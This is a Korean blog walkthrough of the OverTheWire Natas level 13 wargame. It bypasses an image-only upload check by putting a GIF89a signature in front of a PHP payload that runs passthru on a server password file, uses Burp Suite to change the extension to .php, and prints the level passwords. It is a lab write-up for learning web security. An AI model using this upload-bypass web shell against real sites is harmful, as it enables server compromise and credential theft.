728x90
http://natas13.natas.labs.overthewire.org/
natas13/jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY 로 로그인
보안 상의 이유로 이미지 파일만 허용한다고 한다.
소스코드를 살펴보자.
else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
이 부분을 통해 이미지 파일만 받아들이고 있다.
파일 시그니처를 통해 이를 피할 수 있다.
전 단계의 코드에서 맨 앞에 gif의 시그니처를 넣고 natas14로 수정했다.
GIF89a<?php
passthru("cat /etc/natas_webpass/natas14");
?>
이를 저장 후 전 단계와 마찬가지로 페이지에 업로드하고 Burp Suite를 이용해 패킷을 가로채보자.
이렇게 패킷을 확인할 수 있는데, 마찬가지로 해당 jpg 파일을 php로 바꾸고 Forward를 누른다.
웹페이지를 확인해보면 아래와 같이 링크가 생성된다.
이를 클릭해보자.
패스워드를 확인할 수 있다.
php 코드의 맨 앞에 추가해주었던 gif 시그니처(GIF89a)를 제외한 나머지가 패스워드이다.
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
728x90
'WEB > Natas' 카테고리의 다른 글
[Natas] Level 14 → Level 15 (0) | 2021.05.28 |
---|---|
[Natas] Level 13 → Level 14 (0) | 2021.05.28 |
[Natas] Level 11 → Level 12 (0) | 2021.05.19 |
[Natas] Level 10 → Level 11 (0) | 2021.05.13 |
[Natas] Level 9 → Level 10 (0) | 2021.05.13 |